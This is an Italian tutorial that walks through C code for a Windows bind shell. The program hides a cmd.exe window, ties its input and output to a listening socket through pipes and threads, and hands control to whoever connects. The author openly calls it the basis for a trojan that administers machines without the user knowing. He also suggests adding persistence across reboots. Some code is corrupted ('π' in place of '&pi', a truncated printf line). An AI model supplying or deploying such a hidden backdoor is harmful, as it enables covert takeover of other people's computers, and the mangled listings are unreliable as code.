Ma che cosa è questa shell?
La shell è quel programma che ci permette di eseguire diverse
operazioni sul nostro computer
tramite "riga di comando", ossia inserendo dei comandi senza il
supporto grafico.
Tramite shell è possibile eseguire diverse operazioni, a seconda
dei privilegi di cui disponiamo nel computer
(in Windows 98 - Windows Me non esiste il discorso dei privilegi e
quindi si può eseguire qualsiasi operazione).
Aprire una shell è semplicissimo, basta andare sul menu Start,
cliccare
su esegui e scrivere "cmd" se il sistema operativo
in uso è Windows NT, 2000 o Xp (file
c:\windows\system32\cmd.exe),
altrimenti scrivere "command" se il S.O. è Windows 95, 98 o Me
(c:\windows\command.com).
La shell è uno strumento diffuso nell' ambito della
(in)sicurezza informatica, spesso aprirne una è il fine degli
exploit che sfruttano le vulnerabilità nel codice dei programmi,
oppure viene utilizzata per amministrare a distanza un computer
(ciò che viene fatto all'insaputa degli utenti dai trojan).
Il nostro fine è esattamente
quest' ultimo,ossia creare una shell e
associarla ad una porta, riuscendo così, connettendoci alla
porta di
un pc remoto, ad amministrarlo.
Per raggiungere questo obiettivo dovremo procedere attraverso due fasi.
Partiamo creando un semplicissimo programma che crea una shell. Scrivere un programma che crea da zero un prompt dei comandi sarebbe troppo lungo e difficile (e non avrebbe neanche senso..), quindi basta creare un processo che esegue il file predefinito di shell "cmd.exe" o "command.com". Ecco il codice:
#include
<stdio.h>
#include <windows.h>
#define SHELL_NAME "cmd\0"
Inserisco le solite #include
delle librerie da utilizzare, e definisco una costante SHELL_NAME che
identifica il
nome del comando da utilizzare per avviare la shell.(Ricordo che il
carattere \0 finale è soltanto il terminatore di stringa)
In questo programma il prompt dei comandi che verrà eseguito
è "cmd.exe" del sistema operativo
Windows NT, 2000, Xp, quindi se dovete lavorare con Windows 98 o
Windows Me dovete sostituire la #define precedente con:
#define
SHELL_NAME "command\0"
int main(int argc, char **argv){
STARTUPINFO si;
PROCESS_INFORMATION pi;
Queste sono le due variabili di cui
avremo bisogno:
La prima variabile, si, è una variabile di tipo
STARTUPINFO, che è una struttura definita nel file "windows.h":
typedef struct
_STARTUPINFO { // si
DWORD
cb; //specifica la dimensione in
bytes della struttra
LPTSTR lpReserved;
LPTSTR lpDesktop;
LPTSTR
lpTitle; //specifica il titolo della
finestra
DWORD
dwX; //specifica la posizione della
finestra
DWORD
dwY; //specifica la posizione della
finestra
DWORD
dwXSize; //specifica la dimensione
della finestra
DWORD
dwYSize; //specifica la dimensione
della finestra
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD
dwFlags; //specifica quali campi
della struttra ignorare e quali utilizzare
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE
hStdInput; //specifica lo standard
input della finestra
HANDLE
hStdOutput; //specifica lo standard
output della finestra
HANDLE
hStdError; //specifica lo standard
error della finestra
} STARTUPINFO, *LPSTARTUPINFO;
Questa struttura deve essere riempita
con tutte le informazioni necessarie alla creazione della nuova
finestra in cui verrà
eseguita la nostra shell, poi sarà passata come parametro alla
funzione di creazione della shell.
La seconda variabile, pi, di tipo PROCESS_INFORMATION è anch'
essa una
struttura con informazioni riguardanti il nuovo processo creato,
che non viene inizializzata dal programmatore, ma direttamente dalla
funzione di creazione della nostra shell.
memset((void *) &si, 0,
sizeof(si));
memset((void *) π, 0, sizeof(pi));
si.cb = sizeof(si);
In questo programma di esempio non ho bisogno di specificare le caratteristiche della finestra della shell, quindi inizializzo tutti i campi delle strutture a zero, tramite la funzione memset(), l'unico campo della struct che devo obbligatoriamente fornire alla funzione è quello della dimensione della struct stessa (si.cb = spazio occupato dalla struct si).
if (!CreateProcess(NULL,
SHELL_NAME, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si,
π))
printf("CreateProcess
%d", GetLastError());
return 0;
}
L'ultima istruzione è una chiamata alla funzione di Windows CreateProcess(), questa funzione crea un processo eseguendo un file passato come paramatro ("cmd.exe" in questo caso). Il processo che ha chiamato questa funzione diventa il "processo padre", mentre il nuovo processo creato diventa "processo figlio". Ecco la definizione della funzione:
BOOL
CreateProcess(
LPCTSTR
lpApplicationName, // puntatore al
nome del file da eseguire
LPTSTR
lpCommandLine, // puntatore alla
riga di comando da eseguire
LPSECURITY_ATTRIBUTES
lpProcessAttributes, // puntatore ad
una struttura di attributi di sicurezza per il processo
LPSECURITY_ATTRIBUTES
lpThreadAttributes, // puntatore ad
una struttura di attributi di sicurezza per i threads
BOOL
bInheritHandles, // indica se il
processo figlio erediterà gli handle del processo padre
DWORD
dwCreationFlags, // ulteriori
attributi del processo
LPVOID
lpEnvironment, // puntatore ad un
nuovo ambiente (stack, variabili...)
LPCTSTR
lpCurrentDirectory, // puntatore
alla directory corrente
LPSTARTUPINFO
lpStartupInfo, // puntatore alla
struct STARTUPINFO
LPPROCESS_INFORMATION
lpProcessInformation // puntatore
alla struct PROCESS_INFORMATION
);
Nel programmma ho passato come paramatri soltanto la riga di comando (SHELL_NAME), un FALSE per indicare che il nuovo processo non potrà ereditare gli handle del processo padre(che sono dei tipi di variabile che non abbiamo creato nel nostro programma), il flag CREATE_NEW_CONSOLE, che dice al sistema operativo di creare una nuova finestra per il processo figlio, infine ho passato le due strutture che ho creato in precedenza (si e pi). Tutti gli altri parametri sono passati come NULL.
Compilando ed eseguendo il file "Shell.c" potete vedere il programma qui descritto che crea un "clone" della shell predefinita di Windows che potrete usare esattamente come il vero prompt dei comandi.
La seconda fase è quella di associare la shell appena creata ad una porta, per fare ciò abbiamo bisogno di:
Per risolvere il primo punto possiamo semplicemente utilizzare le Winsock per aprire una porta, implementando un server che attende connessioni. Per il secondo punto abbiamo invece bisogno di utilizzare un oggetto predefinito del sistema operativo: la pipe. la pipe è un canale di comunicazione con doppio accesso, solitamente utilizzato per la comunicazione tra processi: un processo che possiede un handle (un capo) di questo canale può comunicare con il processo che possiede l'altro capo (ossia l'handle corrispondente). Un esempio:
PROCESSO A handle---------->-----pipe----->----------handle PROCESSO BL'utilizzo della pipe avviene in
questo modo:
In questo caso il processo padre
invia informazioni al processo filgio, ma si può effettuare
anche la strada inversa,
creando un' altra pipe.
Nel nostro caso il canale dovrà funzionare in questo modo:
Output dalla
socket---------->-----pipe----->----------Input per la shell
Input dalla shell---------->-----pipe----->----------output per
la socket
Ora che sappiamo utilizzare la pipe possiamo creare il nostro programma:
#include
<stdio.h>
#include <windows.h>
#include <winsock.h>
#define MAXBUFFER 1024
#define SHELL_NAME "cmd\0"
HANDLE InputRead, InputWrite, OutputRead, OutputWrite;
SOCKET sock,sendrecv;
BOOL uscita;
Dopo le solite #include
definisco prima una costante che mi indica il massimo numero di bytes
che leggerò dagli handle, poi
quale sarà il comando che farò eseguire al processo
figlio. ("cmd.exe" ossia la shell di Windows NT, 2000 e Xp).
Creo inoltre quattro handle (li ho creati fuori dal main() per
utilizzarli come variabili globali in tutte le funzioni), che
rappresenteranno i due capi di due pipe (un pipe di input ed uno di
output), creo due variabili di tipo socket per aprire
una porta ed inviare e ricevere le informazioni e creo una variabile
per gestire l'uscita dal programma.
DWORD
WINAPI Output(LPVOID data);
DWORD WINAPI Input(LPVOID data);
Questi sono i prototipi delle due funzioni che utilizzeremo per la lettura e scrittura sugli handle, hanno questa forma, in quanto queste due funzioni diventeranno due thread. Un thread è una parte di un processo che in modo indipendente esegue delle istruzioni. Utilizzando i thread riusciremo così a leggere e a scrivere contemporaneamente l'input e l'output della shell in modo indipendente uno dall' altro.
int main(int argc, char **argv){
struct sockaddr_in
sock_addr,sendrecv_addr;
WSADATA data;
WORD p;
int len(char *);
p=MAKEWORD(2,0);
WSAStartup(p,&data);
Le classiche variabili da creare per utilizzare il Winsock.
if (argc!=2){
printf("\nRemote
Shell\n\nUso: %s
exit(0);
}
Queste istruzioni servono semplicemente per segnalare un errore se il programma viene fatto partire senza inserire il numero della porta alla quale si dovrà associare la shell.
sock=socket(PF_INET,SOCK_STREAM,0);
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(atoi(argv[1]));
sock_addr.sin_addr.s_addr=INADDR_ANY;
bind(sock,(struct
sockaddr*)&sock_addr,sizeof(struct sockaddr_in));
listen(sock,1);
int lun=sizeof (struct sockaddr);
sendrecv=accept(sock,(struct
sockaddr*)&sendrecv_addr,&lun);
Inizializzo la socket e mi metto in attesa di una connessione sulla porta
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
DWORD threadIdOut, threadIdIn;
Ora invece inizializzo le variabili
per la pipe e per il
processo figlio, oltre alle già note STARTUPINFO e
PROCESS_INFORMATION devo anche utilizzare una nuova struttura
SECURITY_ATTRIBUTES, a cui dovrò assegnare gli attributi per
l'utilizzo
della pipe.
La struct SECURITY_ATTRIBUTES è fatta così:
typedef struct
_SECURITY_ATTRIBUTES { // sa
DWORD
nLength; // specifica la dimensione
in bytes della struct
LPVOID
lpSecurityDescriptor; //puntatore ad
una struttura SECURITY_DESCRIPTOR
BOOL
bInheritHandle; //specifica se
l'handle che verrà creato potrà essere ereditato dai
processi figli
} SECURITY_ATTRIBUTES;
sa.nLength =
sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
Inserisco i valori nella struttura SECURITY_ATTRIBUTES, permetto l'ereditarietà degli handle che verranno creati attraverso questa struttura, inoltre lascio a NULL la struct SECURITY_DESCRIPTOR, utilizzando così quella di default del processo.
if(!CreatePipe(&OutputRead,
&OutputWrite, &sa, 0))
printf("CreatePipe
%d", GetLastError());
if(!CreatePipe(&InputRead,
&InputWrite, &sa, 0))
printf("CreatePipe
%d", GetLastError());
Queste due chiamate di funzione mi permettono di creare due pipe (una per l'input ed una per l'output), la funzione CreatePipe() ha bisogno di questi parametri:
BOOL CreatePipe(
PHANDLE
hReadPipe, // indirizzo dell' handle
di lettura
PHANDLE
hWritePipe, // indirizzo dell'
handle di scrittura
LPSECURITY_ATTRIBUTES
lpPipeAttributes, // puntatore ad
una struct SECURITY_ATTRIBUTES
DWORD
nSize // numero di bytes riservati
per il pipe
);
L'handle InputWrite è quello su cui scrivere ciò che ricevo dalla socket (i comandi di input per la shell), InputRead verrà utilizzato dalla nostra shell per leggere i comandi (lo standard input della nostra shell), OutputWrite è l'handle su cui la shell inserirsce tutti gli output (i risultati dei comandi eseguiti) ed OutputRead conterrà l'output della shell che verrà inviato dalla socket.
Input dalla socket -> InputWrite
---------->-----pipe----->---------- InputRead -> Input per la
shell
output della shell -> OutputWrite
---------->-----pipe----->---------- OutputRead -> output per
la socket
memset((void *) &si, 0,
sizeof(si));
memset((void *) π, 0, sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES +
STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = InputRead;
si.hStdOutput = OutputWrite;
si.hStdError = OutputWrite;
Inizializzo a zero tutti i campi delle struct STARTUPINFO e PROCESS_INFORMATION, poi inserisco solo i campi di cui ho bisogno:
if (!CreateProcess(NULL, "cmd",
NULL, NULL, TRUE, 0, NULL, NULL, &si, π))
printf("CreateProcess
%d", GetLastError());
CloseHandle(OutputWrite);
CloseHandle(InputRead);
Creo il processo su cui verrà
eseguita la shell, ricordandomi di
settare a TRUE il flag che permette al processo figlio di ereditare gli
handle del processo padre.
Una volta creato il processo devo chiudere gli handle che sta
utilizzando il processo figlio, perché il loro utilizzo deve
essere
esclusivo della shell.
if (!CreateThread(NULL, 0, Output,
NULL, 0, &threadIdOut))
printf("CreateThread
%d", GetLastError());
if (!CreateThread(NULL, 0, Input,
NULL, 0, &threadIdIn))
printf("CreateThread
%d", GetLastError());
Una volta che ho creato il processo
posso creare i due threads che direzionano sulla pipe e sulla socket i
dati.
Per creare un thread si usa la funzione CreateThread() con questi
parametri:
HANDLE
CreateThread(
LPSECURITY_ATTRIBUTES
lpThreadAttributes, // puntatore
alla struct SECURITY_ATTRIBUTES del thread
DWORD
dwStackSize, // Dimensione iniziale
dello stack del thread
LPTHREAD_START_ROUTINE
lpStartAddress, // puntatore alla
funzione che rappresenta il thread
LPVOID
lpParameter, // parametri per il
thread
DWORD
dwCreationFlags, // attributi del
thread
LPDWORD
lpThreadId // puntatore ad un
identificatore del thread
);
Gli unici parametri che assegno al thread sono i nomi delle due funzioni (Input e Output) e i puntatori ad un numero identificativo del thread che verrà assegnato dal sistema operativo.
uscita=FALSE;
while(uscita!=TRUE)
Sleep(100);
closesocket (sock);
closesocket(sendrecv);
WSACleanup();
return 0;
}
Il programma cicla sull'istruzione
Sleep(100) fino a quando la
variabile uscita è diversa da 1, questo ciclo è utile in
quanto se
il processo principale finisse, terminerebbero anche i threads che ho
creato.
Una volta verificata la condizione di uscita si possono chiudere tutte
le socket, gli handle aperti e liberare le librerie utilizzate.
DWORD
WINAPI Output(LPVOID data){
char buffer[MAXBUFFER];
DWORD bytes;
do{
ReadFile(OutputRead,
&buffer, MAXBUFFER, &bytes, NULL);
buffer[bytes]=0;
if
(bytes>0)
send(sendrecv,
buffer, bytes, 0);
else
uscita=TRUE;
Sleep(100);
}
while(TRUE);
return 0;
}
La funzione Output, che diventerà un thread, ha il compito di legggere dall' handle OutputRead, questa operazione viene fatta tramite la funzione ReadFile(), infatti la lettura e la scrittura su una pipe è uguale a quella che viene eseguita su di un file.
BOOL ReadFile(
HANDLE
hFile, // handle del pipe da leggere
LPVOID
lpBuffer, // indirizzo del buffer
che riceve i dati
DWORD
nNumberOfBytesToRead, // numero di
bytes da leggere
LPDWORD
lpNumberOfBytesRead, // numero di
bytes letti (valore inserito dal sistema operativo)
LPOVERLAPPED
lpOverlapped // indirizzo di una
struttura OVERLAPPED
);
Una volta letti i byte dall' handle
la funzione li spedisce alla socket.
Questa funzione permette anche di controllare l'uscita dal programma,
infatti una volta digitato il comando "exit" il processo della shell
terminerà
e la funzione readFile() non troverà più l'handle su cui
scrivere e
quindi leggerà 0 bytes innestando così la condizione di
uscita.
DWORD
WINAPI Input(LPVOID data){
char buffer[MAXBUFFER];
DWORD bytes;
do{
bytes=recv(sendrecv,
buffer, MAXBUFFER, 0);
buffer[bytes]=0;
WriteFile(InputWrite,
&buffer, strlen(buffer), &bytes, NULL);
Sleep(100);
}
while(TRUE);
return 0;
}
La funzione Input, che diventerà anch'essa un thread, esegue il lavoro opposto della Output, ricevendo i dati in arrivo dalla socket e scrivendoli sull'handle InputWrite tramite la funzione WriteFile().
BOOL WriteFile(
HANDLE
hFile, // handle del pipe da scrivere
LPVOID
lpBuffer, // indirizzo del buffer
che contiene i dati
DWORD
nNumberOfBytesToRead, // numero di
bytes da scrivere
LPDWORD
lpNumberOfBytesRead, // numero di
bytes scritti (vlaore inserito dal sistema operativo)
LPOVERLAPPED
lpOverlapped // indirizzo di una
struttura OVERLAPPED
);
Il programma proposto è la
base per scrivere uno shellcode per
exploit, oppure un trojan per amministrare macchine da remoto. Questo
programma
è compilabile sia come applicazione console, sia come
applicazione
Windows, se eseguito come applicazione Windows lavora in modo invisbile
all'utente.
(Il processo viene comunque inserito nella lista dei processi e la
porta aperta viene segnalata se viene usato il comando "netstat").
Questo programma è comunque molto migliorabile, infatti esso
accetta
una sola connessione e poi termina; si può facilmente
implementare
(creando processi figli) un
server che accetti più connessioni, oppure che non termini mai e
ricominci ogni volta viene chiusa una connessione, o ancora che venga
eseguito ad ogni riavvio...
La versione 2.0 del Winsock ha
portato ad una notevole
semplificazione nella creazione di una shell remota,
infatti è ora possibile associare standard input, standard
output e
standard error direttamente alla socket senza dover utilizzare la pipe
come intermediario.
Questo è possibile utilizzando la funzione WSASocket(), che crea
una socket a cui è possibile associare
direttamente l' input e l' output della nostra shell.
Questa è la definizione della nuova funzione:
int WSASocket(int af, int type, int protocol, LPWSAPROTOCOL_INFO
lpProtocolInfo, GROUP g, DWORD dwFlags);
af: specifica la famiglia
della socket (AF_INET, PF_INET)
type: tipo di socket
(SOCK_STREAM, SOCK_DGRAM...)
prot: protocollo da
utilizzare all' interno della famiglia (solitamente questo parametro
è 0)
lpProtocolInfo: puntatore ad
una struttura che definisce alcune particolari caratteristiche del
protocollo utilizzato
g: riservato
dwFlags: serie di bit che
specificano particolari attributi della socket
Come avrete già notato i primi tre parametri sono gli stessi
della funzione socket(), mentre gli altri tre sono nuovi, ma sono
parametri di cui non abbiamo bisogno e che quindi setteremo a zero.
By DaBaSaro